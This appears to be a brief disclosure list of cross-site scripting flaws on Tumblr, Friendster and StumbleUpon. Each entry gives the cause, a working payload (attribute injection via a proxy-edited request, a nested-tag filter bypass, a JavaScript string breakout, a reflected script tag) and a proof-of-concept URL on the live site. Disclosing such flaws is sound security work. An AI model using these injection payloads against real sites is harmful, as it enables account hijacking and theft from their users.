Tumblr.com Persistent XSS

onmouseover attributes added to user submitted markup via HTTP proxy are not stripped.

Exploit: Create a new link, add a description, and set the HTML to <h1>test</h1>. Submit the form and capture the request using an HTTP proxy (e.g. Fiddler). Change the post[three] value to <h1 onmouseover="alert(0)">test</h1> and resume the request.

PoC: http://asdfffffffff.tumblr.com/

Friendster.com Persistent XSS

Only one sanitization pass is performed on user submited data.

Exploit: <<z>script>alert(0)<<z>/script>

PoC: http://profiles.friendster.com/31202727

Friendster.com Persistent XSS

Data submitted via album description and a few other fields is not properly escaped before being rendered into javascript.

Exploit: \";alert(0);//

PoC: http://www.friendster.com/viewalbums.php?uid=120927091

Stumpleupon.com Reflected XSS

The code that displays spelling corrections does not encode user submitted data.

http://www.stumbleupon.com/search?q=teh<script>alert(0)</script>